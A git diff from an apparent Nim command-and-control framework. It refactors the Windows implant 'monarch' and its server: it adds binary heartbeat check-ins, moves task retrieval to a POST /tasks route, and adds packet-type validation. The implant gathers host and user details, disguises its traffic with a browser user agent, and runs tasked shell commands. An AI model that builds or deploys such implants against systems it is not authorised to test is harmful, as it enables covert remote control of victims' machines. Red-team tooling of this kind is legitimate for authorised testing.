diff --git a/src/agents/monarch/agentTypes.nim b/src/agents/monarch/agentTypes.nim deleted file mode 100644 index 6a7f820..0000000 --- a/src/agents/monarch/agentTypes.nim +++ /dev/null @@ -1,30 +0,0 @@ -import winim - -type - ProductType* = enum - UNKNOWN = 0 - WORKSTATION = 1 - DC = 2 - SERVER = 3 - -# API Structs -type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "".} = object - dwOSVersionInfoSize*: ULONG - dwMajorVersion*: ULONG - dwMinorVersion*: ULONG - dwBuildNumber*: ULONG - dwPlatformId*: ULONG - szCSDVersion*: array[128, WCHAR] - wServicePackMajor*: USHORT - wServicePackMinor*: USHORT - wSuiteMask*: USHORT - wProductType*: UCHAR - wReserved*: UCHAR - -type - AgentConfig* = ref object - agentId*: string - listenerId*: string - ip*: string - port*: int - sleep*: int \ No newline at end of file diff --git a/src/agents/monarch/build.sh b/src/agents/monarch/build.sh index 0779ac7..c9ad716 100644 --- a/src/agents/monarch/build.sh +++ b/src/agents/monarch/build.sh @@ -1,4 +1,4 @@ #!/bin/bash CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest" -nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/monarch.nim +nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/main.nim diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim index 39b1028..e9532c4 100644 --- a/src/agents/monarch/commands/filesystem.nim +++ b/src/agents/monarch/commands/filesystem.nim @@ -1,6 +1,5 @@ import os, strutils, strformat, winim, times, algorithm -import ../agentTypes import ../core/taskresult import ../../../common/[types, utils] diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim index 198d40f..7c99f59 100644 --- a/src/agents/monarch/commands/shell.nim +++ b/src/agents/monarch/commands/shell.nim @@ -1,7 +1,6 @@ import winim, osproc, strutils, strformat import ../core/taskresult -import ../agentTypes import ../../../common/[types, utils] proc taskShell*(config: AgentConfig, task: Task): TaskResult = diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim index bc4af37..54d2aff 100644 --- a/src/agents/monarch/commands/sleep.nim +++ b/src/agents/monarch/commands/sleep.nim @@ -1,6 +1,5 @@ import os, strutils, strformat -import ../[agentTypes] import ../core/taskresult import ../../../common/[types, utils, serialize] diff --git a/src/agents/monarch/core/heartbeat.nim b/src/agents/monarch/core/heartbeat.nim new file mode 100644 index 0000000..4a5b376 --- /dev/null +++ b/src/agents/monarch/core/heartbeat.nim @@ -0,0 +1,48 @@ +import times + +import ../../../common/[types, serialize, utils] + +proc createHeartbeat*(config: AgentConfig): Heartbeat = + return Heartbeat( + header: Header( + magic: MAGIC, + version: VERSION, + packetType: cast[uint8](MSG_HEARTBEAT), + flags: cast[uint16](FLAG_PLAINTEXT), + seqNr: 0'u32, # Sequence number is not used for heartbeats + size: 0'u32, + hmac: default(array[16, byte]) + ), + agentId: uuidToUint32(config.agentId), + listenerId: uuidToUint32(config.listenerId), + timestamp: uint32(now().toTime().toUnix()) + ) + +proc serializeHeartbeat*(request: Heartbeat): seq[byte] = + + var packer = initPacker() + + # Serialize check-in / heartbeat request + packer + .add(request.agentId) + .add(request.listenerId) + .add(request.timestamp) + + let body = packer.pack() + packer.reset() + + # TODO: Encrypt check-in / heartbeat request body + + # Serialize header + packer + .add(request.header.magic) + .add(request.header.version) + .add(request.header.packetType) + .add(request.header.flags) + .add(request.header.seqNr) + .add(cast[uint32](body.len)) + .addData(request.header.hmac) + + let header = packer.pack() + + return header & body \ No newline at end of file diff --git a/src/agents/monarch/core/http.nim b/src/agents/monarch/core/http.nim index 343c098..cdd3551 100644 --- a/src/agents/monarch/core/http.nim +++ b/src/agents/monarch/core/http.nim @@ -1,7 +1,6 @@ import httpclient, json, strformat, asyncdispatch import ./metadata -import ../agentTypes import ../../../common/[types, utils] const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" @@ -31,14 +30,22 @@ proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discard return true -proc getTasks*(config: AgentConfig): string = +proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string = let client = newAsyncHttpClient(userAgent = USER_AGENT) var responseBody = "" + # Define HTTP headers + client.headers = newHttpHeaders({ + "Content-Type": "application/octet-stream", + "Content-Length": $checkinData.len + }) + + let body = checkinData.toString() + try: # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization - responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks") + responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body) return responseBody except CatchableError as err: diff --git a/src/agents/monarch/core/metadata.nim b/src/agents/monarch/core/metadata.nim index a860af8..2b5cc1a 100644 --- a/src/agents/monarch/core/metadata.nim +++ b/src/agents/monarch/core/metadata.nim @@ -1,7 +1,6 @@ import winim, os, net, strformat, strutils, registry -import ../agentTypes -import ../../../common/[types, utils] +import ../../../common/[types, serialize, utils] # Hostname/Computername proc getHostname*(): string = @@ -69,7 +68,28 @@ proc getIPv4Address*(): string = return $getPrimaryIpAddr() # Windows Version fingerprinting -proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string = +type + ProductType* = enum + UNKNOWN = 0 + WORKSTATION = 1 + DC = 2 + SERVER = 3 + +# API Structs +type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "".} = object + dwOSVersionInfoSize*: ULONG + dwMajorVersion*: ULONG + dwMinorVersion*: ULONG + dwBuildNumber*: ULONG + dwPlatformId*: ULONG + szCSDVersion*: array[128, WCHAR] + wServicePackMajor*: USHORT + wServicePackMinor*: USHORT + wSuiteMask*: USHORT + wProductType*: UCHAR + wReserved*: UCHAR + +proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string = let major = info.dwMajorVersion minor = info.dwMinorVersion @@ -152,11 +172,11 @@ proc getProductType(): ProductType = proc getOSVersion*(): string = - proc rtlGetVersion(lpVersionInformation: var agentTypes.OSVersionInfoExW): NTSTATUS + proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} when defined(windows): - var osInfo: agentTypes.OSVersionInfoExW + var osInfo: OSVersionInfoExW discard rtlGetVersion(osInfo) # echo $int(osInfo.dwMajorVersion) # echo $int(osInfo.dwMinorVersion) @@ -172,13 +192,13 @@ proc getOSVersion*(): string = else: return "Unknown" -proc getRegistrationData*(config: AgentConfig): AgentRegistrationData = +proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData = return AgentRegistrationData( header: Header( magic: MAGIC, version: VERSION, - packetType: cast[uint8](MSG_RESPONSE), + packetType: cast[uint8](MSG_REGISTER), flags: cast[uint16](FLAG_PLAINTEXT), seqNr: 1'u32, # TODO: Implement sequence tracking size: 0'u32, @@ -198,3 +218,40 @@ proc getRegistrationData*(config: AgentConfig): AgentRegistrationData = sleep: cast[uint32](config.sleep) ) ) + +proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] = + + var packer = initPacker() + + # Serialize registration data + packer + .add(data.metadata.agentId) + .add(data.metadata.listenerId) + .addVarLengthMetadata(data.metadata.username) + .addVarLengthMetadata(data.metadata.hostname) + .addVarLengthMetadata(data.metadata.domain) + .addVarLengthMetadata(data.metadata.ip) + .addVarLengthMetadata(data.metadata.os) + .addVarLengthMetadata(data.metadata.process) + .add(data.metadata.pid) + .add(data.metadata.isElevated) + .add(data.metadata.sleep) + + let metadata = packer.pack() + packer.reset() + + # TODO: Encrypt metadata + + # Serialize header + packer + .add(data.header.magic) + .add(data.header.version) + .add(data.header.packetType) + .add(data.header.flags) + .add(data.header.seqNr) + .add(cast[uint32](metadata.len)) + .addData(data.header.hmac) + + let header = packer.pack() + + return header & metadata diff --git a/src/agents/monarch/core/packer.nim b/src/agents/monarch/core/packer.nim deleted file mode 100644 index a535b32..0000000 --- a/src/agents/monarch/core/packer.nim +++ /dev/null @@ -1,164 +0,0 @@ -import strutils, strformat - -import ../../../common/[types, utils, serialize] - -proc deserializeTask*(bytes: seq[byte]): Task = - - var unpacker = initUnpacker(bytes.toString) - - let - magic = unpacker.getUint32() - version = unpacker.getUint8() - packetType = unpacker.getUint8() - flags = unpacker.getUint16() - seqNr = unpacker.getUint32() - size = unpacker.getUint32() - hmacBytes = unpacker.getBytes(16) - - # Explicit conversion from seq[byte] to array[16, byte] - var hmac: array[16, byte] - copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16) - - # Packet Validation - if magic != MAGIC: - raise newException(CatchableError, "Invalid magic bytes.") - - # TODO: Validate sequence number - - # TODO: Validate HMAC - - # TODO: Decrypt payload - # let payload = unpacker.getBytes(size) - - let - taskId = unpacker.getUint32() - agentId = unpacker.getUint32() - listenerId = unpacker.getUint32() - timestamp = unpacker.getUint32() - command = unpacker.getUint16() - - var argCount = unpacker.getUint8() - var args = newSeq[TaskArg]() - - # Parse arguments - var i = 0 - while i < int(argCount): - args.add(unpacker.getArgument()) - inc i - - return Task( - header: Header( - magic: magic, - version: version, - packetType: packetType, - flags: flags, - seqNr: seqNr, - size: size, - hmac: hmac - ), - taskId: taskId, - agentId: agentId, - listenerId: listenerId, - timestamp: timestamp, - command: command, - argCount: argCount, - args: args - ) - -proc deserializePacket*(packet: string): seq[Task] = - - result = newSeq[Task]() - - var unpacker = initUnpacker(packet) - - var taskCount = unpacker.getUint8() - echo fmt"[*] Response contained {taskCount} tasks." - if taskCount <= 0: - return @[] - - while taskCount > 0: - - # Read length of each task and store the task object in a seq[byte] - let - taskLength = unpacker.getUint32() - taskBytes = unpacker.getBytes(int(taskLength)) - - result.add(deserializeTask(taskBytes)) - - dec taskCount - -proc serializeTaskResult*(taskResult: TaskResult): seq[byte] = - - var packer = initPacker() - - # Serialize result body - packer - .add(taskResult.taskId) - .add(taskResult.agentId) - .add(taskResult.listenerId) - .add(taskResult.timestamp) - .add(taskResult.command) - .add(taskResult.status) - .add(taskResult.resultType) - .add(taskResult.length) - - if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT: - packer.addData(taskResult.data) - - let body = packer.pack() - packer.reset() - - # TODO: Encrypt result body - - # Serialize header - packer - .add(taskResult.header.magic) - .add(taskResult.header.version) - .add(taskResult.header.packetType) - .add(taskResult.header.flags) - .add(taskResult.header.seqNr) - .add(cast[uint32](body.len)) - .addData(taskResult.header.hmac) - - let header = packer.pack() - - # TODO: Calculate and patch HMAC - - return header & body - -proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] = - - var packer = initPacker() - - # Serialize registration data - packer - .add(data.metadata.agentId) - .add(data.metadata.listenerId) - .addVarLengthMetadata(data.metadata.username) - .addVarLengthMetadata(data.metadata.hostname) - .addVarLengthMetadata(data.metadata.domain) - .addVarLengthMetadata(data.metadata.ip) - .addVarLengthMetadata(data.metadata.os) - .addVarLengthMetadata(data.metadata.process) - .add(data.metadata.pid) - .add(data.metadata.isElevated) - .add(data.metadata.sleep) - - let metadata = packer.pack() - packer.reset() - - # TODO: Encrypt metadata - - # Serialize header - packer - .add(data.header.magic) - .add(data.header.version) - .add(data.header.packetType) - .add(data.header.flags) - .add(data.header.seqNr) - .add(cast[uint32](metadata.len)) - .addData(data.header.hmac) - - let header = packer.pack() - - return header & metadata \ No newline at end of file diff --git a/src/agents/monarch/core/task.nim b/src/agents/monarch/core/task.nim index 533b259..accba5c 100644 --- a/src/agents/monarch/core/task.nim +++ b/src/agents/monarch/core/task.nim @@ -1,9 +1,7 @@ -import strutils, tables, json +import strutils, tables, json, strformat -import ../agentTypes import ../commands/commands -import ../../../common/[types, utils] -import sugar +import ../../../common/[types, serialize, utils] proc handleTask*(config: AgentConfig, task: Task): TaskResult = @@ -22,3 +20,90 @@ proc handleTask*(config: AgentConfig, task: Task): TaskResult = # Handle task command return handlers[cast[CommandType](task.command)](config, task) +proc deserializeTask*(bytes: seq[byte]): Task = + + var unpacker = initUnpacker(bytes.toString) + + let + magic = unpacker.getUint32() + version = unpacker.getUint8() + packetType = unpacker.getUint8() + flags = unpacker.getUint16() + seqNr = unpacker.getUint32() + size = unpacker.getUint32() + hmacBytes = unpacker.getBytes(16) + + # Explicit conversion from seq[byte] to array[16, byte] + var hmac: array[16, byte] + copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16) + + # Packet Validation + if magic != MAGIC: + raise newException(CatchableError, "Invalid magic bytes.") + + if packetType != cast[uint8](MSG_TASK): + raise newException(CatchableError, "Invalid packet type.") + + # TODO: Validate sequence number + + # TODO: Validate HMAC + + # TODO: Decrypt payload + # let payload = unpacker.getBytes(size) + + let + taskId = unpacker.getUint32() + agentId = unpacker.getUint32() + listenerId = unpacker.getUint32() + timestamp = unpacker.getUint32() + command = unpacker.getUint16() + + var argCount = unpacker.getUint8() + var args = newSeq[TaskArg]() + + # Parse arguments + var i = 0 + while i < int(argCount): + args.add(unpacker.getArgument()) + inc i + + return Task( + header: Header( + magic: magic, + version: version, + packetType: packetType, + flags: flags, + seqNr: seqNr, + size: size, + hmac: hmac + ), + taskId: taskId, + agentId: agentId, + listenerId: listenerId, + timestamp: timestamp, + command: command, + argCount: argCount, + args: args + ) + +proc deserializePacket*(packet: string): seq[Task] = + + result = newSeq[Task]() + + var unpacker = initUnpacker(packet) + + var taskCount = unpacker.getUint8() + echo fmt"[*] Response contained {taskCount} tasks." + if taskCount <= 0: + return @[] + + while taskCount > 0: + + # Read length of each task and store the task object in a seq[byte] + let + taskLength = unpacker.getUint32() + taskBytes = unpacker.getBytes(int(taskLength)) + + result.add(deserializeTask(taskBytes)) + + dec taskCount \ No newline at end of file diff --git a/src/agents/monarch/core/taskresult.nim b/src/agents/monarch/core/taskresult.nim index 423bc3b..9267d3c 100644 --- a/src/agents/monarch/core/taskresult.nim +++ b/src/agents/monarch/core/taskresult.nim @@ -1,5 +1,5 @@ import times -import ../../../common/[types, utils] +import ../../../common/[types, serialize, utils] proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult = @@ -22,4 +22,43 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r resultType: cast[uint8](resultType), length: uint32(resultData.len), data: resultData, - ) \ No newline at end of file + ) + +proc serializeTaskResult*(taskResult: TaskResult): seq[byte] = + + var packer = initPacker() + + # Serialize result body + packer + .add(taskResult.taskId) + .add(taskResult.agentId) + .add(taskResult.listenerId) + .add(taskResult.timestamp) + .add(taskResult.command) + .add(taskResult.status) + .add(taskResult.resultType) + .add(taskResult.length) + + if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT: + packer.addData(taskResult.data) + + let body = packer.pack() + packer.reset() + + # TODO: Encrypt result body + + # Serialize header + packer + .add(taskResult.header.magic) + .add(taskResult.header.version) + .add(taskResult.header.packetType) + .add(taskResult.header.flags) + .add(taskResult.header.seqNr) + .add(cast[uint32](body.len)) + .addData(taskResult.header.hmac) + + let header = packer.pack() + + # TODO: Calculate and patch HMAC + + return header & body \ No newline at end of file diff --git a/src/agents/monarch/monarch.nim b/src/agents/monarch/main.nim similarity index 85% rename from src/agents/monarch/monarch.nim rename to src/agents/monarch/main.nim index 6fe670c..5daca63 100644 --- a/src/agents/monarch/monarch.nim +++ b/src/agents/monarch/main.nim @@ -1,10 +1,9 @@ import strformat, os, times, random import winim -import sugar -import ./agentTypes -import core/[task, packer, http, metadata] +import core/[task, taskresult, heartbeat, http, metadata] import ../../common/[types, utils] +import sugar const ListenerUuid {.strdefine.}: string = "" const Octet1 {.intdefine.}: int = 0 @@ -45,7 +44,7 @@ proc main() = ) # Create registration payload - let registrationData: AgentRegistrationData = config.getRegistrationData() + let registrationData: AgentRegistrationData = config.collectAgentMetadata() let registrationBytes = serializeRegistrationData(registrationData) config.register(registrationBytes) @@ -67,8 +66,12 @@ proc main() = let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo fmt"[{date}] Checking in." - # Retrieve task queue for the current agent - let packet: string = config.getTasks() + # Retrieve task queue for the current agent by sending a check-in/heartbeat request + # The check-in request contains the agentId, listenerId, so the server knows which tasks to return + let + heartbeat: Heartbeat = config.createHeartbeat() + heartbeatData: seq[byte] = serializeHeartbeat(heartbeat) + packet: string = config.getTasks(heartbeatData) if packet.len <= 0: echo "No tasks to execute." diff --git a/src/common/types.nim b/src/common/types.nim index 0a4ea79..25e2a6e 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -14,7 +14,7 @@ type MSG_TASK = 0'u8 MSG_RESPONSE = 1'u8 MSG_REGISTER = 2'u8 - MSG_CHECKIN = 100'u8 + MSG_HEARTBEAT = 100'u8 ArgType* = enum STRING = 0'u8 @@ -85,7 +85,7 @@ type length*: uint32 # [4 bytes ] result length data*: seq[byte] # variable length result -# Commands +# Structure for command module definitions Argument* = object name*: string description*: string @@ -100,9 +100,16 @@ type arguments*: seq[Argument] dispatchMessage*: string -# Agent structure -type +# Checkin binary structure +type + Heartbeat* = object + header*: Header + agentId*: uint32 # [4 bytes ] agent id + listenerId*: uint32 # [4 bytes ] listener id + timestamp*: uint32 +# Registration binary structure +type # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data AgentMetadata* = object agentId*: uint32 @@ -122,6 +129,8 @@ type # encMaterial*: seq[byte] # Encryption material for the agent registration metadata*: AgentMetadata +# Agent structure +type Agent* = ref object agentId*: string listenerId*: string @@ -157,4 +166,13 @@ type dbPath*: string listeners*: Table[string, Listener] agents*: Table[string, Agent] - interactAgent*: Agent \ No newline at end of file + interactAgent*: Agent + +# Agent Config +type + AgentConfig* = ref object + agentId*: string + listenerId*: string + ip*: string + port*: int + sleep*: int \ No newline at end of file diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index c1d7400..384c6e0 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -39,29 +39,36 @@ proc register*(registrationData: seq[byte]): bool = return true -proc getTasks*(listener, agent: string): seq[seq[byte]] = +proc getTasks*(checkinData: seq[byte]): seq[seq[byte]] = {.cast(gcsafe).}: + # Deserialize checkin request to obtain agentId and listenerId + let + request: Heartbeat = deserializeHeartbeat(checkinData) + agentId = uuidToString(request.agentId) + listenerId = uuidToString(request.listenerId) + timestamp = request.timestamp + var result: seq[seq[byte]] # Check if listener exists - if not cq.dbListenerExists(listener.toUpperAscii): - cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n") + if not cq.dbListenerExists(listenerId): + cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listenerId}.", "\n") raise newException(ValueError, "Invalid listener.") # Check if agent exists - if not cq.dbAgentExists(agent.toUpperAscii): - cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n") + if not cq.dbAgentExists(agentId): + cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agentId}.", "\n") raise newException(ValueError, "Invalid agent.") # Update the last check-in date for the accessed agent - cq.agents[agent.toUpperAscii].latestCheckin = now() + cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local() # if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")): # return nil # Return tasks - for task in cq.agents[agent.toUpperAscii].tasks: + for task in cq.agents[agentId].tasks: let taskData = serializeTask(task) result.add(taskData) diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 0e0e55c..e8eb2c1 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -22,66 +22,26 @@ proc register*(ctx: Context) {.async.} = try: let agentId = register(ctx.request.body.toBytes()) - resp "Ok", Http200 + resp "", Http200 except CatchableError: resp "", Http404 - # try: - # let - # postData: JsonNode = parseJson(ctx.request.body) - # agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData) - # agentUuid: string = generateUUID() - # listenerUuid: string = ctx.getPathParams("listener") - # date: DateTime = now() - - # let agent: Agent = Agent( - # name: agentUuid, - # listener: listenerUuid, - # username: agentRegistrationData.username, - # hostname: agentRegistrationData.hostname, - # domain: agentRegistrationData.domain, - # process: agentRegistrationData.process, - # pid: agentRegistrationData.pid, - # ip: agentRegistrationData.ip, - # os: agentRegistrationData.os, - # elevated: agentRegistrationData.elevated, - # sleep: agentRegistrationData.sleep, - # jitter: 0.2, - # tasks: @[], - # firstCheckin: date, - # latestCheckin: date - # ) - - # # Fully register agent and add it to database - # if not agent.register(): - # # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed - # # Return a 404 error code either way - # resp "", Http404 - # return - - # # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results - # resp agent.name - - # except CatchableError: - # # JSON data is invalid or does not match the expected format (described above) - # resp "", Http404 - - # return - #[ - GET /{listener-uuid}/{agent-uuid}/tasks + POST /tasks Called from agent to check for new tasks ]# proc getTasks*(ctx: Context) {.async.} = - - let - listener = ctx.getPathParams("listener") - agent = ctx.getPathParams("agent") - + + # Check headers + # If POST data is not binary data, return 404 error code + if ctx.request.contentType != "application/octet-stream": + resp "", Http404 + return + try: var response: seq[byte] - let tasks: seq[seq[byte]] = getTasks(listener, agent) + let tasks: seq[seq[byte]] = getTasks(ctx.request.body.toBytes()) if tasks.len <= 0: resp "", Http200 @@ -89,7 +49,7 @@ proc getTasks*(ctx: Context) {.async.} = # Create response, containing number of tasks, as well as length and content of each task # This makes it easier for the agent to parse the tasks - response.add(uint8(tasks.len)) + response.add(cast[uint8](tasks.len)) for task in tasks: response.add(uint32(task.len).toBytes()) diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index f2174bc..a55c44f 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -67,7 +67,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = # Define API endpoints listener.post("register", routes.register) - listener.get("{listener}/{agent}/tasks", routes.getTasks) + listener.post("tasks", routes.getTasks) listener.post("results", routes.postResults) listener.registerErrorHandler(Http404, routes.error404) @@ -100,7 +100,7 @@ proc restartListeners*(cq: Conquest) = # Define API endpoints listener.post("register", routes.register) - listener.get("{listener}/{agent}/tasks", routes.getTasks) + listener.post("tasks", routes.getTasks) listener.post("results", routes.postResults) listener.registerErrorHandler(Http404, routes.error404) diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim index f0233c5..b200120 100644 --- a/src/server/task/packer.nim +++ b/src/server/task/packer.nim @@ -60,6 +60,9 @@ proc deserializeTaskResult*(resultData: seq[byte]): TaskResult = if magic != MAGIC: raise newException(CatchableError, "Invalid magic bytes.") + if packetType != cast[uint8](MSG_RESPONSE): + raise newException(CatchableError, "Invalid packet type for task result, expected MSG_RESPONSE.") + # TODO: Validate sequence number # TODO: Validate HMAC @@ -120,6 +123,9 @@ proc deserializeNewAgent*(data: seq[byte]): Agent = if magic != MAGIC: raise newException(CatchableError, "Invalid magic bytes.") + if packetType != cast[uint8](MSG_REGISTER): + raise newException(CatchableError, "Invalid packet type for agent registration, expected MSG_REGISTER.") + # TODO: Validate sequence number # TODO: Validate HMAC @@ -158,5 +164,48 @@ proc deserializeNewAgent*(data: seq[byte]): Agent = latestCheckin: now() ) +proc deserializeHeartbeat*(data: seq[byte]): Heartbeat = - + var unpacker = initUnpacker(data.toString) + + let + magic = unpacker.getUint32() + version = unpacker.getUint8() + packetType = unpacker.getUint8() + flags = unpacker.getUint16() + seqNr = unpacker.getUint32() + size = unpacker.getUint32() + hmacBytes = unpacker.getBytes(16) + + # Explicit conversion from seq[byte] to array[16, byte] + var hmac: array[16, byte] + copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16) + + # Packet Validation + if magic != MAGIC: + raise newException(CatchableError, "Invalid magic bytes.") + + if packetType != cast[uint8](MSG_HEARTBEAT): + raise newException(CatchableError, "Invalid packet type for checkin request, expected MSG_HEARTBEAT.") + + # TODO: Validate sequence number + + # TODO: Validate HMAC + + # TODO: Decrypt payload + # let payload = unpacker.getBytes(size) + + return Heartbeat( + header: Header( + magic: magic, + version: version, + packetType: packetType, + flags: flags, + seqNr: seqNr, + size: size, + hmac: hmac + ), + agentId: unpacker.getUint32(), + listenerId: unpacker.getUint32(), + timestamp: unpacker.getUint32() + ) \ No newline at end of file